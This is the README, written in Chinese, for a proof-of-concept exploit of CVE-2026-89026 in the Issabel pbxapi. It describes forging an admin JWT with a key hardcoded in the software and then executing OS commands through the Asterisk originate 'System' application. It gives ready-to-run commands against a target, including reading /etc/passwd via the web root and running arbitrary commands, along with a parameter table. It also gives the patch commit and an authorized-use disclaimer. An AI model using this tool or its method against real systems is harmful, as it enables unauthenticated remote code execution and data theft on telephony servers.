Issabel pbxapi 硬编码 JWT RCE POC
Issabel Framework pbxapi —— 未认证的 JWT 伪造(硬编码 HS256 密钥),随后使用 Application=System 调用 GET /pbxapi/manager/originate,以 Asterisk 用户身份执行操作系统命令。已在提交 b97dbaf 中修复(密钥从 /etc/issabel.conf 加载)。Shadowserver 于 2026-09-09 观察到利用活动。
仅供授权测试使用。请勿对您不拥有或未获授权测试的系统运行此工具。
依赖: Python 3,仅使用标准库。
python3 cve-2026-89026-issabel-pbxapi-jwt-rce.py -u https://TARGET --test --insecure
python3 cve-2026-89026-issabel-pbxapi-jwt-rce.py -u https://TARGET --read /etc/passwd --insecure
python3 cve-2026-89026-issabel-pbxapi-jwt-rce.py -u https://TARGET --cmd id --insecure
python3 cve-2026-89026-issabel-pbxapi-jwt-rce.py -u TARGET --test
| 参数 | 作用 |
|---|
-u / --url | Issabel 基础 URL(必填)。http:// 或 https://。不带协议的主机名会先尝试 HTTPS,再尝试 HTTP。http→https 重定向会保留 POST。错误的 TLS 证书会在不验证的情况下重试;--insecure 从一开始就跳过验证(Issabel 通常使用自签名证书) |
--test | 对 /pbxapi 进行指纹识别,并证明伪造的管理员 JWT 被接受。不发起 originate / 不执行命令 |
--read PATH | 通过 System 执行 cp PATH 到 Web 根目录,然后 GET 该文件(这就是查看 /etc/passwd 的方式) |
--cmd CMD | GET /pbxapi/manager/originate?application=System&data=CMD。AMI 不返回 stdout —— 使用 --read 查看文件 |
--channel | Originate 的 Channel(默认 Local/s@default) |
--insecure | 跳过 TLS 验证 |
--timeout | HTTP 超时秒数(默认 30) |
--test 端点: 不带 Authorization 的 GET /pbxapi/(预期返回 403),然后使用 Authorization: Bearer <伪造 JWT> 请求同一 URL。返回 200 JSON 且列出 controllers / manager(或认证后的 AMI 连接 JSON)即为 VULNERABLE。它不会调用 originate。
认证: 攻击者无需任何认证。该 API 自认为 具有 Bearer JWT 认证。修复前的 pbxapi/index.php 将 JWT_KEY 设置为编译进每个安装中的字符串。PoC 使用该密钥对 {iat, exp, data.name=admin} 进行 HS256 签名。修复后,密钥为来自 /etc/issabel.conf 的 base64_decode(pbxapijwtsecret),默认令牌会被拒绝(NOT_VULNERABLE)。
Stdout:PBXAPI、VULNERABLE、NOT_VULNERABLE、NOT_FOUND、HANDLER、HTTP。

CVE:CVE-2026-89026。致谢:Shadowserver Foundation / VulnCheck。补丁:b97dbaf。